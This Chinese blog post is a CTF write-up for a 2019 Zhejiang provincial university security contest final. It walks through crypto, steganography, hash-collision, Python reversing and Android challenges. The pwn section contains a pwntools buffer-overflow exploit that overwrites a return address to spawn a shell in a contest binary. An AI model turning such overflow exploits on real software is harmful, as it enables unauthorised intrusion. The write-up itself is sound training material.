浙江省第二届大学生信息安全竞赛决赛WP - ZhouYetao

浙江省第二届大学生信息安全竞赛决赛WP

前言

这次比赛因为一些团队的原因,所以没有去成。

首先介绍一下这次决赛,题目多少我不是很清楚,毕竟本人没有到场,但是从队友的做题情况来看,三个题是二等奖。

最后强调一下比赛的时间,比赛时间是八个小时整,2019年9月21日上午8:00至下午16:00。

说上述这些,我只是为了证明这次比赛题目的质量,不是所谓的赛后复盘,随便找个时间就可以了,也是为了给一些不了解ctf的人解释下,什么是ctf比赛,什么是ctf的题目,题目的多少和做题目所需要的时间并不是正比,从奖项来看,三个题目就可以有二等奖,这些也就足以证明了。

浙江省第二届大学生信息安全竞赛决赛WP

因为没有去参加比赛,所以比赛的题目是我自己根据内容来想的,希望各位大佬跳过题目,直接看看内容就ok了。

清廉校园

只给了一张图,然后用strings命令看一下:

ZhouYetao@ubuntu:~/Desktop/Jason/hctf2/qlxy$ strings qlxy.jpg
.
.
.
KYEVE 
Caesar says "gqjam{dlsjvtlavokbzljshi}"

这个就很明显了,一个凯撒密码,这里给一个枚举所有组合的exp:

#!/usr/env python

s = "gqjam{dlsjvtlavokbzljshi}"
flag = ""
for i in range(26):
    for j in range(len(s)):

        if (s[j] == "{" or s[j] == "}"):
            flag += s[j]
        elif (ord(s[j]) + i  > 122):
            flag += chr(ord(s[j])  + i - 123 + 97)
        else:
            flag += chr(ord(s[j]) + i)
    print flag
    flag = ""

跑出来的结果如下:

ZhouYetao@ubuntu:~/Desktop/Jason/hctf2/qlxy$ python pc.py 
gqjam{dlsjvtlavokbzljshi}
hrkbn{emtkwumbwplcamktij}
islco{fnulxvncxqmdbnlujk}
jtmdp{govmywodyrnecomvkl}
kuneq{hpwnzxpezsofdpnwlm}
lvofr{iqxoayqfatpgeqoxmn}
mwpgs{jrypbzrgbuqhfrpyno}
nxqht{kszqcashcvrigsqzop}
oyriu{ltardbtidwsjhtrapq}
pzsjv{mubsecujextkiusbqr}
qatkw{nvctfdvkfyuljvtcrs}
rbulx{owdugewlgzvmkwudst}
scvmy{pxevhfxmhawnlxvetu}
tdwnz{qyfwigynibxomywfuv}
uexoa{rzgxjhzojcypnzxgvw}
vfypb{sahykiapkdzqoayhwx}
wgzqc{tbizljbqlearpbzixy}
xhard{ucjamkcrmfbsqcajyz}
yibse{vdkbnldsngctrdbkza}
zjctf{welcometohduseclab}
akdug{xfmdpnfupievtfdmbc}
blevh{ygneqogvqjfwugencd}
cmfwi{zhofrphwrkgxvhfode}
dngxj{aipgsqixslhywigpef}
eohyk{bjqhtrjytmizxjhqfg}
fpizl{ckriuskzunjaykirgh}

通过肉眼观察,获得flag:zjctf{welcometohduseclab};

Login

一个pwn题,模拟了一个登录的elf程序。
checksec一下,发现是一个开了candy和nx保护的64程序,扔到IDA中看看这个程序9e7970d5409e7ea159687159d3fa487.jpg

这里有一个return的地址aaedc14700b50061e6f1088b14d58af.jpg

运用这个函数可以直接覆盖到shell地址,给出exp:

#!usr/env python
from pwn import *
p = process("./login")

shell = 0x400e88
admin = "admin"

p.sendlineafter('username: ', admin)
payload = '2jctf_pa5sw0rd\0'.ljust(72, '\0') + p64(0x400E88)[:7]

p.sendlineafter("password: " , payload)

p.interactive()

运行结果:

ZhouYetao@ubuntu:~/Desktop/Jason/hctf2/pwn$ python pc.py 
[+] Starting local process './login': pid 4808
[*] Switching to interactive mode
Password accepted: Password accepted: 

Congratulations!
$ ls
core  flag  login  pc.py
$ cat flag
flag{zhouyetao_is_handsome}

loading

这个题目我觉得出的还是很有趣的,首先,png图片是一个压缩包,密码要扫描图片中的进度条中的条形码,得到密码:may6e_us3ful,解压出来,发现是一个encode.py。
一步步来分析这个脚本:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import numpy as np
from scipy.misc import imread, imsave

img_name = "loading.png"
words = '''ZJCTF{****************}'''

bits = []
for w in words:
    bits += "{:0>8d}".format(int(bin(ord(w))[2:]))

cnt = 0
img = imread(img_name)
for x in range(img.shape[1]):
    for y in range(img.shape[0]):
        if img[y][x][0] <= 97:
            img[y][x][0] = 2
            if cnt == len(bits):
                continue
            if int(bits[cnt]) == 0:
                img[y][x][0] = 2
            else:
                img[y][x][0] = 3
            cnt += 1
imsave("loading.png", img)

首先对flag进行处理:

bits = []
for w in words:
    bits += "{:0>8d}".format(int(bin(ord(w))[2:]))

具体的处理方法是将flag的每一位都转成二进制,去掉二进制的头0b,然后将其都存在bits这个数组中;
其次,读取loading.png,一次遍历loading.png图片的列和行,如果其中的元素的值小于等于97,就将其统一赋值成2,如果bits中的值都赋值完了,就退出,不然如果bits数组中的元素是0,就将图片的元素赋值成2,反之,就赋值成3.
理解了整个加密的过程之后,直接写出解密的脚本,当然大体的框架加密脚本已经给出,只需要修改其中的判断语句就可以了:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import numpy as np
from scipy.misc import imread, imsave

flag = ""

img = imread("loading.png")
for x in range(img.shape[1]):
    for y in range(img.shape[0]):
        if img[y][x][0] == 2 or img[y][x][0] == 3:
            #img[y][x][0] = 2
            if img[y][x][0] == 2:
                flag += "0"
            else:
                flag += "1"
print flag

之后就是将二进制流转换成字符串:

>>> a="01011010010010100100001101010100010001100111101101110011011101000011001101100111011000010110111000110000010111110011000101110011010111110110010101100001001101010111100101111101"
>>> a = 0b01011010010010100100001101010100010001100111101101110011011101000011001101100111011000010110111000110000010111110011000101110011010111110110010101100001001101010111100101111101
>>> hex(a)
'0x5a4a4354467b73743367616e305f31735f656135797dL'
>>> "5a4a4354467b73743367616e305f31735f656135797d".strip().decode('hex')
'ZJCTF{st3gan0_1s_ea5y}

floyd

一个加密算法,在阅读整个程序之后(因为这个代码太长了,在最后将这次的题目都打包发过来,放出来不方便,到时候有兴趣直接下载,然后对照着wp进行来看),整个代码的意思就是从大写的26个字母中随机取出三个,组成一个字符串,然后经过加密算法得到m0,m1,然后给你m0,要输入m1,如果m0、m1匹配同一个字符串就输出flag。
我的思路,爆破出所有的组合类型,然后直接搜索字符串:
爆破exp:

#!/usr/env python
import hashlib, random, signal

def truncated_hash(message, k):
    return hashlib.sha512(message).digest()[-k:]

def floyd(code, k=3):
    m0 = None
    m1 = None
    turtle = truncated_hash(code, k)
    hare   = truncated_hash(turtle, k)

    while turtle != hare:
        turtle = truncated_hash(turtle, k)
        hare   = truncated_hash(truncated_hash(hare, k), k)
    
    turtle = code
    pre_period_length = 0
    while turtle != hare:
        m0     = turtle
        turtle = truncated_hash(turtle, k)
        hare   = truncated_hash(hare, k)
        pre_period_length += 1

    if pre_period_length is 0:
        #print(code, "Failed to find a collision: code was in a cycle!")
        return ("!" , "!")

    period_length = 1
    hare = truncated_hash(turtle, k)
    while turtle != hare:
        m1  =   hare
        hare = truncated_hash(hare, k)
        period_length += 1
    return (m0, m1)
    
char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in char_set:
    for j in char_set:
        for k in char_set:
            s = i+j+k
            m0 , m1 = floyd(s)
            if (m0 == "!" and m1 == "!"):
                break
            print m0.encode('hex') + " " + m1.encode('hex')

记得在跑这个脚本的时候加上> *.txt,不然就白跑了,要将这些输入到一个txt中,这样才能方便寻找;
最终的exp:

#!/usr/env python
from pwn import *

p = process("floyd.py")
p.recvuntil("is:")
m0 = p.recv(6)
log.success("m0:%s",m0)

with open("test.txt" , "r") as f:
    for s in f:
        #print s
        if s[0:6] == m0:
            log.success("sucesss")
            m1 = s[7:13]
            log.success("m1:%s",m1)
            p.sendline(m1)
            break
p.interactive()

最终的结果:

ZhouYetao@ubuntu:~/Desktop/Jason/hctf2/floyd$ python pc.py 
[!] Could not find executable 'floyd.py' in $PATH, using './floyd.py' instead
[+] Starting local process './floyd.py': pid 5000
[+] m0:f23585
[+] sucesss
[+] m1:22d594
[*] Switching to interactive mode

Please input m1:flag{zhouyetao_is_handsome}

[*] Got EOF while reading in interactive

python逆向

首先用uncompyle6 encrypt.pyo > encrypt.py命令获得源码,然后经过简单的处理之后,获得可以人工肉眼看得懂的代码:

# uniompyle6 version 3.2.4
# Python byteiode 2.7 (62211)
# Deiompiled from: Python 2.7.12 (default, Aug 22 2019, 16:36:40) 
# [Gii 5.4.0 20160609]
# Embedded file name: enirypt.py
# iompiled at: 2017-07-11 17:19:27
from random import randint
from math import floor, sqrt
flag = '*****'
d = '*****'
b = [ ord(i) for i in d ]

a = randint(65, max(b)) * 255
#print a
for i in range(len(d)):
    _ += str(int(floor(float(a + b[i]) / 2 + sqrt(a * b[i])) % 255)) + ' '

#print _
# okay deiompiling enirypt.pyo

a是一个随机数,范围很小,64255-125255,所以这里采用的方法是先爆破a,exp如下:

#!/usr/env python
from math import floor , sqrt
s = 80
b = ord("}")
#print b
for i in range(65,126):
    a = i * 255
    x = int(floor(float(a + b) / 2 + sqrt(a * b)) % 255)
    if x == 80:
        print a

得到a之后,再对接下来的每一位进行爆破:

#!/usr/env python
from math import floor , sqrt
s = [57, 183, 124, 9, 149, 65, 245, 166, 175, 1, 226, 106, 216, 132, 224, 208, 139, 1, 188, 224, 9, 235, 106, 149, 141, 80]
flag = ""
a = 26010
string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"
for j in range(len(s)):
    for i in string:
        b = int(s[j])
        x = int(floor(float(a + ord(i)) / 2 + sqrt(a * ord(i))) % 255)
        if b == x:
            flag += i
            print flag
print flag
#zjctf{ThisRandomIsNotSafe}

HelloSmali

jeb打开之后
1569344662(1).png

发现在这里调用了一个lib--GetFlag,然后将apk解压,直接将GetFlag这个so扔到IDA中,发现flag是由明文传输的,直接获得flag,23333

还有两题没有做出来,先将这部分wp放出来,告诉一下各位我复盘的速度。

省赛.zip

Leave a Comment

@author:ZhouYetao
© 2020 Copyright.  | Power by Mijiu                                                                                               
本站已安全运行 828 天